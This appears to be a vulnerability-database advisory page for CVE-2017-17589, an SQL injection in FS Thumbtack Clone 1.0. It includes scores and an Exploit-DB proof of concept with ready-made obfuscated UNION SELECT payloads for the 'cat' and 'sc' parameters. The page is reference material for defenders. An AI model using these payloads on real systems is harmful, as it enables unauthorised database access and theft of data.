CVE-2017-17589

critical

Published 2017-12-13 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

FS Thumbtack Clone 1.0 has SQL Injection via the browse-category.php cat parameter or the browse-scategory.php sc parameter.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43240 webapps php verified text · 1 KB

Ihsan Sencan · 2017-12-08

FS Thumbtack Clone 1.0 - 'cat' / 'sc' SQL Injection

text exploit Source: Exploit-DB

# # # # # 
# Exploit Title: FS Thumbtack Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/thumbtack-clone/
# Demo: http://thumbtack-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/browse-category.php?cat=[SQL]
# 
# -91a87ff679a2f3e71d9181a67b7542122c'++/*!22222UNION*/(/*!22222SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(3),(4))--+-
# 
# http://server/browse-category.php?cat=-91a87ff679a2f3e71d9181a67b7542122c'++/*!22222UNION*/(/*!22222SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(3),(4))--+-
# 
# 
# 2)
# http://localhost/[PATH]/browse-scategory.php?sc=[SQL]
# 
# -34202cb962ac59075b964b07152d234b70'++/*!22222UNION*/+/*!22222SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9--+-
# 
# http://server/browse-scategory.php?sc=-34202cb962ac59075b964b07152d234b70'++/*!22222UNION*/+/*!22222SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9--+-
# 
# # # # #

Application impact

Vendor	Product	Versions	Fixed
thumbtack_clone_project	thumbtack_clone	`1.0`

References

CWEs

CWE-89

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Verify integrity in audit chain (admin only). AS-IS.